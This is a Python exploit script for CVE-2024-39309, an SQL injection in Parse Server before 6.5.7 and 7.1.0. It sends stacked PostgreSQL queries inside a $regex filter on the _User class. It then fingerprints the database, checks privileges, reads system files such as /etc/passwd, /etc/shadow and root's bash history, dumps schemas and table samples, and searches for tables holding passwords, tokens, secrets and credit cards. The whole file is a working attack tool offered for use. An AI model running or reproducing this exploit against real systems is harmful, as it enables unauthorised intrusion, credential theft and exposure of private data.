#!/usr/bin/env python3 """ ██████╗ █████╗ ████████╗██████╗ ██████╗ █████╗ ████████╗███████╗ ██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ ██║ ██║███████║ ██║ ██████╔╝██████╔╝███████║ ██║ █████╗ ██║ ██║██╔══██║ ██║ ██╔══██╗██╔══██╗██╔══██║ ██║ ██╔══╝ ██████╔╝██║ ██║ ██║ ██║ ██║██████╔╝██║ ██║ ██║ ███████╗ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ███████╗███████╗██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗ ██████╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██╔════╝██╔════╝██║ ██║██║████╗ ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ███████╗█████╗ ███████║██║██╔██╗ ██║██║ ███╗█████╗ ██║ ███████║ ██║ ██║██║ ██║██╔██╗ ██║ ╚════██║██╔══╝ ██╔══██║██║██║╚██╗██║██║ ██║██╔══╝ ██║ ██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ███████║███████╗██║ ██║██║██║ ╚████║╚██████╔╝███████╗╚██████╗██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ Advanced Database Enumeration via POSTGRES SQL Injection Author: HeavyGhost && Englishx | CVE-2024-39309 Description: Comprehensive database enumeration via SQL injection in Parse Server, prior to 6.5.7 and 7.1.0 https://nvd.nist.gov/vuln/detail/CVE-2024-39309 """ import requests import json import sys import argparse from urllib.parse import quote class DatabaseEnumerator: def __init__(self, target_url, app_id): self.target_url = target_url self.app_id = app_id self.session = requests.Session() self.session.headers.update({ 'X-Parse-Application-Id': app_id, 'Content-Type': 'application/json' }) def execute_sql(self, sql_query): """Execute SQL query via regex injection""" # Use the working pattern: A'B' becomes A''B' allowing semicolon injection payload = f"A'B'; {sql_query};--" where_clause = { "username": { "$regex": payload } } params = { "where": json.dumps(where_clause) } try: response = self.session.get( f"{self.target_url}/parse/classes/_User", params=params, timeout=10 ) return response.json() except Exception as e: print(f"Error executing query: {e}") return None # ===== DATABASE INFORMATION ===== def get_database_version(self): """Get PostgreSQL version""" print("[+] Getting database version...") query = "SELECT version()" result = self.execute_sql(query) if result and 'results' in result and result['results']: version = result['results'][0].get('version', 'Unknown') print(f"[+] Database Version: {version}") return version return None def get_current_database(self): """Get current database name""" print("[+] Getting current database...") query = "SELECT current_database()" result = self.execute_sql(query) if result and 'results' in result and result['results']: db_name = result['results'][0].get('current_database', 'Unknown') print(f"[+] Current Database: {db_name}") return db_name return None def get_current_user(self): """Get current database user""" print("[+] Getting current user...") query = "SELECT current_user, session_user, user" result = self.execute_sql(query) if result and 'results' in result and result['results']: user_info = result['results'][0] print(f"[+] Current User: {user_info}") return user_info return None # ===== USER PERMISSIONS ===== def get_user_privileges(self): """Get current user privileges""" print("[+] Getting user privileges...") queries = [ "SELECT * FROM current_user_privileges", "SELECT grantee, privilege_type, table_name FROM information_schema.role_table_grants", "SELECT usename, usecreatedb, usesuper, usebypassrls FROM pg_user WHERE usename = current_user" ] all_privileges = {} for query in queries: result = self.execute_sql(query) if result and 'results' in result: all_privileges[query] = result['results'] # Parse and display privileges print("\n[+] User Privileges Summary:") for query, results in all_privileges.items(): if results: print(f" Query: {query.split('FROM')[0]}...") for row in results[:3]: # Show first 3 rows print(f" {row}") return all_privileges def check_super_user(self): """Check if current user is superuser""" print("[+] Checking superuser privileges...") query = "SELECT usesuper FROM pg_user WHERE usename = current_user" result = self.execute_sql(query) if result and 'results' in result and result['results']: is_super = result['results'][0].get('usesuper', False) status = "YES" if is_super else "NO" print(f"[+] Is Superuser: {status}") return is_super return False def check_file_operations(self): """Check if user can read/write files""" print("[+] Checking file operation privileges...") # Check if pg_read_file is available queries = [ "SELECT has_function_privilege(current_user, 'pg_read_file(text)', 'EXECUTE') as can_read_files", "SELECT has_function_privilege(current_user, 'pg_read_file(text, bigint, bigint)', 'EXECUTE') as can_read_files_offset", "SELECT has_function_privilege(current_user, 'pg_ls_dir(text)', 'EXECUTE') as can_list_dir", "SELECT has_function_privilege(current_user, 'pg_stat_file(text)', 'EXECUTE') as can_stat_file" ] file_privileges = {} for query in queries: result = self.execute_sql(query) if result and 'results' in result and result['results']: for key, value in result['results'][0].items(): file_privileges[key] = value print("[+] File Operation Privileges:") for privilege, has_priv in file_privileges.items(): status = "YES" if has_priv else "NO" print(f" - {privilege}: {status}") return file_privileges # ===== FILE SYSTEM ACCESS ===== def read_file(self, file_path): """Read file using pg_read_file""" print(f"[+] Attempting to read file: {file_path}") queries = [ f"SELECT pg_read_file('{file_path}') as content", f"SELECT pg_read_file('{file_path}', 0, 100000) as content", # With offset ] for query in queries: result = self.execute_sql(query) if result and 'results' in result and result['results']: content = result['results'][0].get('content') if content and content != '': print(f"[+] Successfully read {file_path}:") print("-" * 50) print(content) print("-" * 50) return content print(f"[-] Failed to read {file_path}") return None def list_directory(self, directory_path): """List directory contents using pg_ls_dir""" print(f"[+] Attempting to list directory: {directory_path}") query = f"SELECT pg_ls_dir('{directory_path}') as files" result = self.execute_sql(query) if result and 'results' in result: files = [] for row in result['results']: if 'files' in row and row['files']: files.append(row['files']) if files: print(f"[+] Directory contents of {directory_path}:") for file in files: print(f" - {file}") return files else: print(f"[-] No files found in {directory_path} or access denied") else: print(f"[-] Failed to list directory {directory_path}") return None def read_system_files(self): """Read common system files""" print("\n[+] Reading common system files...") system_files = [ '/etc/passwd', '/etc/hosts', '/etc/hostname', '/etc/issue', '/proc/version', '/proc/cmdline', '/etc/shadow', # Will likely fail but worth trying '/root/.bash_history' ] for file_path in system_files: self.read_file(file_path) def read_etc_passwd(self): """Specifically read /etc/passwd file""" print("\n[+] Reading /etc/passwd file...") return self.read_file('/etc/passwd') # ===== DATABASE SCHEMA ENUMERATION ===== def enumerate_schemas(self): """List all database schemas""" print("[+] Enumerating schemas...") query = "SELECT schema_name FROM information_schema.schemata" result = self.execute_sql(query) if result and 'results' in result: schemas = [row['schema_name'] for row in result['results']] print(f"[+] Found {len(schemas)} schemas:") for schema in schemas: print(f" - {schema}") return schemas return [] def enumerate_tables(self, schema='public'): """List all tables in specified schema""" print(f"[+] Enumerating tables in schema: {schema}...") query = f"SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = '{schema}'" result = self.execute_sql(query) if result and 'results' in result: tables = [(row['table_name'], row.get('table_type', 'TABLE')) for row in result['results']] print(f"[+] Found {len(tables)} tables in {schema}:") for table_name, table_type in tables: print(f" - {table_name} ({table_type})") return tables return [] def get_table_columns(self, table_name, schema='public'): """Get column names and types for a specific table""" print(f"[+] Getting columns for table: {schema}.{table_name}") query = f""" SELECT column_name, data_type, is_nullable, column_default FROM information_schema.columns WHERE table_schema = '{schema}' AND table_name = '{table_name}' ORDER BY ordinal_position """ result = self.execute_sql(query) if result and 'results' in result: columns = result['results'] print(f"[+] Columns in {schema}.{table_name}:") for col in columns: print(f" - {col['column_name']} ({col['data_type']}) - Nullable: {col['is_nullable']}") return columns return [] def get_table_row_count(self, table_name, schema='public'): """Get row count for a table""" query = f"SELECT COUNT(*) as row_count FROM {schema}.{table_name}" result = self.execute_sql(query) if result and 'results' in result and result['results']: count = result['results'][0].get('row_count', 0) print(f"[+] {schema}.{table_name} has {count} rows") return count return 0 # ===== DATA EXTRACTION ===== def extract_table_sample(self, table_name, schema='public', limit=5): """Extract sample data from a table""" print(f"[+] Extracting sample data from {schema}.{table_name}...") # First get columns columns = self.get_table_columns(table_name, schema) if not columns: return None column_names = [col['column_name'] for col in columns] col_list = ", ".join(column_names) query = f"SELECT {col_list} FROM {schema}.{table_name} LIMIT {limit}" result = self.execute_sql(query) if result and 'results' in result: print(f"[+] Sample data from {schema}.{table_name}:") for i, row in enumerate(result['results']): print(f" Row {i+1}: {row}") return result['results'] return None def search_sensitive_data(self): """Search for potentially sensitive tables and columns""" print("[+] Searching for sensitive data patterns...") sensitive_patterns = [ ("table_name LIKE '%user%'", "User tables"), ("table_name LIKE '%pass%'", "Password tables"), ("table_name LIKE '%auth%'", "Authentication tables"), ("table_name LIKE '%secret%'", "Secret tables"), ("table_name LIKE '%key%'", "Key tables"), ("table_name LIKE '%flag%'", "Flag tables"), ("table_name LIKE '%credit%'", "Credit card tables"), ("table_name LIKE '%token%'", "Token tables") ] sensitive_tables = [] for pattern, description in sensitive_patterns: query = f"SELECT table_name FROM information_schema.tables WHERE table_schema='public' AND {pattern}" result = self.execute_sql(query) if result and 'results' in result: for row in result['results']: table_name = row['table_name'] if table_name not in [t[0] for t in sensitive_tables]: sensitive_tables.append((table_name, description)) if sensitive_tables: print("[+] Potentially sensitive tables found:") for table_name, description in sensitive_tables: print(f" - {table_name} ({description})") else: print("[-] No obvious sensitive tables found") return sensitive_tables # ===== COMPREHENSIVE ENUMERATION ===== def comprehensive_enumeration(self): """Run complete database enumeration""" print("[*] Starting comprehensive database enumeration...") # Database Information print("\n" + "="*50) print("DATABASE INFORMATION") print("="*50) self.get_database_version() self.get_current_database() self.get_current_user() # User Privileges print("\n" + "="*50) print("USER PRIVILEGES") print("="*50) self.get_user_privileges() self.check_super_user() file_privs = self.check_file_operations() # File System Access (if available) if file_privs.get('can_read_files') or file_privs.get('can_read_files_offset'): print("\n" + "="*50) print("FILE SYSTEM ACCESS") print("="*50) self.read_etc_passwd() # Try to list some directories self.list_directory('/etc') self.list_directory('/home') # Read more system files self.read_system_files() # Schema Enumeration print("\n" + "="*50) print("SCHEMA ENUMERATION") print("="*50) schemas = self.enumerate_schemas() # Table Enumeration print("\n" + "="*50) print("TABLE ENUMERATION") print("="*50) for schema in schemas: tables = self.enumerate_tables(schema) if tables: # Get sample from first 3 tables for table_name, table_type in tables[:3]: self.get_table_columns(table_name, schema) self.get_table_row_count(table_name, schema) if table_type == 'BASE TABLE': self.extract_table_sample(table_name, schema, 2) # Sensitive Data Search print("\n" + "="*50) print("SENSITIVE DATA SEARCH") print("="*50) sensitive_tables = self.search_sensitive_data() # Extract from sensitive tables if sensitive_tables: print("\n[+] Extracting from sensitive tables...") for table_name, description in sensitive_tables[:3]: # Limit to first 3 self.extract_table_sample(table_name, 'public', 3) print("\n[+] Database enumeration completed!") def main(): parser = argparse.ArgumentParser(description='Advanced Database Enumeration via SQL Injection') parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://10.0.14.52:1337)') parser.add_argument('-a', '--app-id', required=True, help='Parse Application ID') parser.add_argument('-t', '--table', help='Specific table to enumerate') parser.add_argument('-s', '--schema', default='public', help='Schema to enumerate (default: public)') parser.add_argument('-f', '--file', help='Read specific file (e.g., /etc/passwd)') parser.add_argument('-d', '--dir', help='List specific directory') parser.add_argument('--read-system', action='store_true', help='Read common system files') args = parser.parse_args() enumerator = DatabaseEnumerator(args.url, args.app_id) print(""" ██████╗ █████╗ ████████╗██████╗ ██████╗ █████╗ ████████╗███████╗███████╗ ██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝██╔════╝ ██║ ██║███████║ ██║ ██████╔╝██████╔╝███████║ ██║ █████╗ ███████╗ ██║ ██║██╔══██║ ██║ ██╔══██╗██╔══██╗██╔══██║ ██║ ██╔══╝ ╚════██║ ██████╔╝██║ ██║ ██║ ██║ ██║██████╔╝██║ ██║ ██║ ███████╗███████║ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚══════╝ ███████╗███████╗██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗ ██████╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██╔════╝██╔════╝██║ ██║██║████╗ ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ███████╗█████╗ ███████║██║██╔██╗ ██║██║ ███╗█████╗ ██║ ███████║ ██║ ██║██║ ██║██╔██╗ ██║ ╚════██║██╔══╝ ██╔══██║██║██║╚██╗██║██║ ██║██╔══╝ ██║ ██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ███████║███████╗██║ ██║██║██║ ╚████║╚██████╔╝███████╗╚██████╗██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ Advanced Database Enumeration via POSTGRES SQL Injection Author: HeavyGhost && EnglishX | CVE-2024-39309 Description: Comprehensive database enumeration via SQL injection in Parse Server, prior to 6.5.7 and 7.1.0 https://nvd.nist.gov/vuln/detail/CVE-2024-39309 """) if args.file: # Read specific file print(f"[*] Reading file: {args.file}") enumerator.read_file(args.file) elif args.dir: # List specific directory print(f"[*] Listing directory: {args.dir}") enumerator.list_directory(args.dir) elif args.read_system: # Read system files print("[*] Reading system files...") enumerator.read_system_files() elif args.table: # Enumerate specific table print(f"[*] Enumerating specific table: {args.table}") enumerator.get_table_columns(args.table, args.schema) enumerator.get_table_row_count(args.table, args.schema) enumerator.extract_table_sample(args.table, args.schema, 10) else: # Run comprehensive enumeration enumerator.comprehensive_enumeration() if __name__ == "__main__": main()